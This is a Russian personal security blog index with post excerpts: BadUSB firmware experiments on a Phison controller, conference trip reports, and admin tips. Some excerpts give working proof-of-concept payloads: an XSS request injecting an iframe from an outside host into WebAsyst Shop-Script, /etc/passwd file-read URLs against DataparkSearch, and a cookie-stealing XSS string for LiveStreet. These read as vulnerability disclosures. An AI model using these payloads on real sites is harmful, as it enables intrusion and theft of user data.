Уязвимость BadUSB для Phison 2251-03 (часть 3)

Ошибка при создании оригинальной прошивки


Кажется это произошло из-за того что флешка долго находилась в boot-режиме и где-то отсоединилась что ли.

C:\Users\1>C:\fw\Psychson-master\tools\DriveCom.exe /drive=H /action=DumpFirmware /burner=C:\fw\fw_bn\BN03V114M.BIN /firmware=C:\fw\currentfw.bin
Action specified: DumpFirmware
FATAL: System.InvalidOperationException: DeviceIoControl failed: 0079
   в DriveCom.PhisonDevice._SendCommand(SafeFileHandle handle, Byte[] cmd, Byte[] data, Int32 bytesExpected) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Phis
   в DriveCom.PhisonDevice.SendCommand(Byte[] cmd, Int32 bytesExpected) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\PhisonDevice.cs:строка 295
   в DriveCom.Startup._DumpFirmware(String fileName) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Startup.cs:строка 341
   в DriveCom.Startup.Main(String[] args) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Startup.cs:строка 99



Action specified: SendExecutable
FATAL: System.InvalidOperationException: DeviceIoControl failed: 048F



Ошибка при восстановлении оригинальной прошивки

Переводим флешку в boot-режим.
Прошивка не хочет востанавливаться из оригинала.
Как понял это не подходит для
Kingston Digital 8GB USB 3.0 DataTraveler (DT100G3/8GB)* — Using PS2251-03 (Программа DriveCom.exe не работает для этой флэшки, вам понадобится Phison MPALL Tools для прошивки.)

Action specified: SendFirmware
Gathering information...
FATAL: System.InvalidOperationException: DeviceIoControl failed: 048F
   в DriveCom.PhisonDevice._SendCommand(SafeFileHandle handle, Byte[] cmd, Byte[] data, Int32 bytesExpected) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Phis
   в DriveCom.PhisonDevice.SendCommand(Byte[] cmd, Int32 bytesExpected) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\PhisonDevice.cs:строка 295
   в DriveCom.PhisonDevice.RequestVendorInfo() в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\PhisonDevice.cs:строка 140
   в DriveCom.PhisonDevice.GetChipType() в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\PhisonDevice.cs:строка 170
   в DriveCom.Startup._GetInfo() в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Startup.cs:строка 384
   в DriveCom.Startup._SendFirmware() в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Startup.cs:строка 365
   в DriveCom.Startup.Main(String[] args) в c:\Users\1\Desktop\Psychson-master\DriveCom\DriveCom\Startup.cs:строка 114



Продолжение:
BadUSB для Phison 2251-03 (часть 1)
BadUSB для Phison 2251-03 Payload (часть 2)
BadUSB для Phison 2251-03 ошибки (часть 3)
BadUSB для Phison 2251-03 восстановление (часть 4)
Читать дальше

Уязвимость BadUSB для Phison 2251-03 (часть 2)

4. Запуск демо 1 (HID Payload)


Сценарии команд Rubber Ducky для использования в Duckencoder и создания inject.bin

Скачиваем любой скрипт или пишем свой github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
Сохраняем в C:\fw\ducky\hello_world.txt или ваше название на ваш вкус.

Читать дальше

Уязвимость BadUSB для Phison 2251-03 (часть 1)

Узнал об этом еще с английской рассылки SANS Vol. 16 Num. 79.
Собирался первым перевести на русский язык(на github и так написаны команды ) и разобраться с этим еще 4 октября, но дела не позволяли потратить на это время и денег на поиски конкретной флешки не было.
В итоге найдя единственный магазин в городе где были эти флешки Kingston DataTraveler 3.0 T111 8GB зайдя в него и уговаривая продавцов вскрыть упаковку не получилось. Пришлось купить наугад. И мы угадали и купили нужную проверив на ноутбуке в магазине. Контроллер оказался PS2251-03 (2303). У нас была куча неописуемой радости и везения!!! В магазине оставалось всего 9 флешек данной модели…

Читать дальше

ZeroNights 2014

Так уж вышло, что конференция выпала на моё День Рождения. И наверно это был самый большой подарок.

Вот наконец то выехал куда то со своего города. Купил билеты еще так давно как можно было. И на поезд заранее купил чтоб отступать было некуда. Пришлось сдвигать все планы, клиентов, всех торопить и собирать к этому числу денег. Но даже при таком учете я вернулся на занятые денег у клиентов. ))) Пришлось отрабатывать. Да и не просто так поехал в Москву, а по делам, почта России потеряла 2 договора, за 3 месяца не дождавшись их привез лично в руки. Но что то клиент где то пропал.

Все было круто, хостел новый взял, народ был тоже интересный. Встречал иностранцев, писателей. Опять понял что надо знать английский, хотя мне и без него хорошо живется. Опять по влюблялся пару раз и забыл уже в кого.

Читать дальше

История одной пятницы... в картинках

Всё началось с того, что захотелось найти XXE (XML eXternal Entity).
Атака заключается в том, что парсер небезопасно разрешает XML-сущности(entity) определённые клиентом. Данную уязвимость можно использовать как для XSS, чтения базы данных(SQL-inject), обхода аутентификации, чтения произвольных фаилов в системе(/etc/passwwd) или запрос внешнего ресурса по URI (протоколы ftp http https, функциями php и другими).

Пояснение:
символ (плюс) + в urlencode = %2B
символ (слеш) / в urlencode = %2F
символ (обратный слеш) \ в urlencode = %5C

Глаза пали на RSS. Открываем то, что генерирует XML:
Читать дальше

Поездка на ZeroNights 2012

ZeroNights 2012 Бабичев Игорь
Хотелось бы ответить сразу на вопросы какие мне очень часто задают:
Стоило ли ехать через пол страны в Москву чтобы побывать и просто послушать?
— Да стоило! И 7000 за вход на конференцию того стоило.
— Если бы она была в Питере, то поехал?
— Да! Все зовут побывать в Питере, да и как понял многие докладчики работают тоже в Питере.
— Ты ездил работу искать?
— Нет, просто пообщаться с людьми которые тебя понимают и знают гораздо больше.
— Что тебя дёрнуло туда ехать?
— Наверно, то что почти недотянул в 2011 году в победители на Месяц поиска уязвимостей Яндекса

Постораюсь о конференции расказать в кратце, больше уделять внимание на совсем другие вещи.
Читать дальше

Amazon SES и подтверждение DKIM в разных панелях управления

Amazon Simple Email ServicesВсё началось с того, что надо было подключить к Amazon Simple Email Service (Amazon SES) подпись DKIM. Но панель управления DNS отказалась проходить такую верификацию.

Amazon SES нам выдали записи для подтверждения владением доменом:
"Record name","Record type","Record Value"
52djzcnmdacecxkbgzwxsfxpmnhfa57k._domainkey.artemka45.ru","CNAME","52djzcnmdacecxkbgzwxsfxpmnhfa57k.dkim.amazonses.com
"mrxcednnqdhzyaf6725wxcnwdc3p7yaf._domainkey.artemka45.ru","CNAME","mrxcednnqdhzyaf6725wxcnwdc3p7yaf.dkim.amazonses.com"
"srmtzrxn7rr43o2erisj3jpqc3u4ej7b._domainkey.artemka45.ru","CNAME","srmtzrxn7rr43o2erisj3jpqc3u4ej7b.dkim.amazonses.com"


Подробности

Любимое дело. Обретение.

Знакомо ли вам чувство, что вы тратите свое время зря, просиживая часы на нелюбимой работе?

Вы устаете, вам приходится вставать в не очень хорошем настроении (ведь снова на работу), вы находитесь в ожидании конца рабочего дня, выходных, зарплаты и отпуска.

Но вы при этом хотите быть счастливым, помогать людям, заниматься тем, что будет вам по душе. Глубоко вы точно знаете, что можете дать себе и этому миру нечто большее.

У вас есть хобби?
Читать дальше

WebAsyst Shop-Script v.307 XSS

ХSS происходит при передаче в параметр EMAIL — html-кода, где мы можем вызвать iframe с вредоносным скриптом.

WebAsyst Shop-Script

POST /published/forgot.php HTTP/1.1
Content-Length: 210
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=9bae5994ebe0dd6b6fe023506dde2c32; csd=5; cod=3.5.9
Host: SITE.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

C=&edited=1&enter=%d0%9e%d1%82%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d1%82%d1%8c&userdata%5bDB_KEY%5d=PROSTITUTKI&userdata%5bEMAIL%5d=%22%20><iframe src="http://himic.ru/xss.html"><div%20bad%3d%22&userdata%5bU_ID%5d=01%2f01%2f1967
Читать дальше

DataparkSearch Engine, SQL injection, XSS, Cross Site Scripting, File Include

DataparkSearch
DataPark Search Engine

Все SQL-inject запросы надо кодировать в Urlencode ALL, иначе экранируются.

В фаиле storedoc.cgi

Чтение фаилов: /etc/passwd


в GET параметре DU чтение фаила file:///etc/passwd
/kurgan/cache?CS=UTF-8&CT=text/html&DM=Sat,%2017%20Mar%202012,%2006:59:51%20YEKT&DS=48515&DU=file%3a%2f%2f%2fetc%2fpasswd&L=tr&label=&q=1&rec_id=1332401146


/kurgan/cache?DU=file:///etc/passwd
/kurgan/cache?DU=file%3a%2f%2f%2fetc%2fpasswd



Blind SQL Injection
Читать дальше

Livestreet 0.5.1 и в 0.4, XSS, Cross Site Scripting, раскрытие директории

LiveStreet XSS
Livestreet XSS + раскрытие директории в MooTools_1.2, vlaCal-v2.1

Фаил: decade.php
POST /engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/decade.php HTTP/1.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=8223940c401233bbcffe59d6f2b7637d; _metrika_enabled=
Host: blog.himic.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

ts=%22%20BACKGROUND%3djavascript:alert%28document.cookie%29%20bad%3d%22

Читать дальше

Бэкапы на Amazon s3fs права доступа при подключении диска

К примеру в статье habrahabr.ru/post/111555/ используется строчка подключения диска
s3fs your-bucket-name /mnt/backup -o allow_other,retries=10,connect_timeout=30,readwrite_timeo


Если примонтировать S3 под root то к разделу /mnt/backup будут иметь доступ пользователи сервера в том числе и через PHP скрипты(или запущенные шеллы Perl, C).

Таким образом пользователи или какой-нибудь сайт на WordPress может послужить огромной опасностью.

Правильно:
Параметр Если без параметра allow_other примонтировать S3 диск, то доступ к диску будет возможен только тому пользователю кто его примонтировал.

Соответственно и бекапы надо делать под пользователем под которым подключили диск.
У меня OS Debian 5 + ISPmanager

Проверьте пожалуйста и у вас доступен ли каталог Amazon для простых пользователей.
А то получается что простые пользователи могут уничтожить все бекапы и вы останетесь без них.

PS:
При присутствующем параметре allow_other — установка UNIX прав 0600 на фаилы и каталоги не действуют.
Монтирование диска с параметрами RW, UID=, GID= тоже недействуют.
s3fs your-bucket-name /mnt/backup -o retries=10,connect_timeout=30,readwrite_timeout=30,uid=0,gid=0


PS:
данная ошибка будет возникать если вы пытаетесь примонтировать диск не под пользователем которому разрешено читать /etc/passwd-s3fs
s3fs: could not determine how to establish security credentials
Читать дальше

Реализация инструментов для создания контента OVAL на Python

Open Vulnerability and Assessment Language
Данный модуль позволяет выполнять сборку секьюрити-контента и «упаковку» его в базу данных с контролем версий и уникальности идентификаторов.

В процессе исследования языка OVAL, про который написано ранее в одной из статей, и концепции SCAP-сканера мы столкнулись с довольно серьезной проблемой, а именно с отсутствием удобных инструментов для создания контента на языке OVAL. Нет, мы не утверждаем, что нет совсем ничего. Есть небольшой набор утилит, представленных на официальном сайте. Большая часть из них платная, остальные же представляют собой не очень удобные решения, больше всего похожие на XML-Notepad. В итоге мы решили создать небольшой необходимый для работы инструмент самостоятельно, используя в качестве языка Python
Читать дальше

DataparkSearch Engine Команды управления

Если http-сервер поддерживает любой из методов кодирования gzip, deflate, identity, compress он шлёт ответ, закодированый этим методом.
Использование сжатия http-запросов позволяет уменьшить трафик в два и более раз.
./configure --with-zlib

Запустите indexer для индексирвоания ваших данных и записи информации об URL:
/usr/local/dpsearch/sbin/indexer -W

переиндекировать все документы, независимо от того, устарели они или нет, используйте ключ -a
/usr/local/dpsearch/sbin/indexer -a

Это может быть полезным, например, когда меняются правила Allow/Disallow в indexer.conf и необходимо добавить новые страницы, которые раньше были запрещены к обработке.
Ключ indexerа -m заставляет разбирать заново каждый документ, независимо от того, измён он или нет.
/usr/local/dpsearch/sbin/indexer -m

Управление подсекциями
-t соответсвует ограничению по тэгу
-g соответсвует ограничению по категории
-u — ограничение по части URL (поддерживаются шаблоны SQL LIKE с символами % и _)
-s — ограничение по HTTP статусу документа
-y — ограничения по Content-Type

Как очистить базу данных
/usr/local/dpsearch/sbin/indexer -C — Вы можете также удалить тольеко часть базы, используя ключи указания подсекций -t,-g,-u,-s,-y.

Пример:
в Disallow используется * звездочка
тут используется % процент
удаление по URL
./indexer -C -u http://site.ru/tag.html%
./indexer -C -u  http://site.ru/search/tag/%
удаление по коду ./indexer -S

./indexer -C -s 301
./indexer -C -s 302
./indexer -C -s 303
./indexer -C -s 404
./indexer -C -s 415
./indexer -C -s 2200

Создание SQL-таблиц
/usr/local/dpsearch/sbin/indexer -Ecreate

Удаление SQL-таблиц
/usr/local/dpsearch/sbin/indexer -Edrop

Статистика базы данных

/usr/local/dpsearch/sbin/indexer -S

Проверка ссылок
Например, indexer -I -s 404 покажет адреса всех ненайденных ('Not found') документов вместе с адресами страницами, содержащими ссылки на эти документы.
/usr/local/dpsearch/sbin/indexer -I

PostgreSQL : Изменение кодировки по-умолчанию для новых таблиц на UTF-8

Password:
createdb: database creation failed: ERROR:  new encoding (UTF8) is incompatible with the encoding of the template database (SQL_ASCII)
HINT:  Use the same encoding as in the template database, or use template0 as template.


Когда мы создаем новую базу данных, PostgreSQL фактически просто создает копию имеющегося шаблона базы данных.

Изначально существует два шаблона: template0 и template1. Шаблон template1 используется по-умолчанию при создании новых баз данных. Чтобы изменить кодировку вновь создаваемой базы данных одним из путей является изменение шаблона template1. Чтобы сделать это, подключитесь к командной оболочке PostgresSQL (psql) и выполните следующие действия:

1. В первую очередь необходимо удалить template1. Шаблоны не могут быть удалены, поэтому сначала мы изменим его, как-будто это обычная база данных:
UPDATE pg_database SET datistemplate = FALSE WHERE datname = 'template1';


2. Теперь мы можем удалить его:
DROP DATABASE template1;


3. Следующий шаг – создание новой базы данных из шаблона template0, с новой кодировкой по-умолчанию:
CREATE DATABASE template1 WITH TEMPLATE = template0 ENCODING = 'UNICODE';


4. Теперь изменим базу данных template1 чтобы она стала шаблоном:
UPDATE pg_database SET datistemplate = TRUE WHERE datname = 'template1';


6. (К сведению) Если Вы не хотите, чтобы кто-либо пользовался этим шаблоном, установите значение datallowconn в FALSE:
UPDATE pg_database SET datallowconn = FALSE WHERE datname = 'template1';


Теперь Вы можете создавать новые базы в кодировке UTF8.

Автор: websiteprojector.ru/?p=151
Читать дальше

UWDC 2012 конференция уральских веб-разработчиков - Как я побывал. День второй.

UWDC 2012 конференция уральских веб-разработчиков — Как я побывал. День второй.



UWDC 2012, Андрей Бешков (Microsoft) и Бабичев Игорь
Увеличить
Андрей Бешков (Microsoft)(Security Program Manager — «Руководитель программы информационной безопасности») и Бабичев Игорь
Ради этой фотки и стоило туда съездить.

Читать дальше

UWDC 2012 конференция уральских веб-разработчиков - Как я побывал. День первый.

UWDC 2012 конференция уральских веб-разработчиков



Вобщето я приехал туда послушать про стартапы, завести новые знакомства и поддержать старые. А также посидеть в компании людей, кто тебя понимает с полуслова.

А еще найти себе девушку, которая если бы не понимала, то хотя бы ценила то, что я делаю в своей работе. И нашел, так хотелось пойти и поцеловать, но сдержался. И спросил только ручку, но она мне отдала и левую и правую ручку. У неё не было колечка на руке. Я был в шоке, и хотел забрать всю её целиком прямиком в ЗАГС. ;)

Ну давайте немного о конференции в виде фоток, а не Love-story:

UWDC, UWDC 2012
UWDC 2012 конференция уральских веб-разработчиков
Читать дальше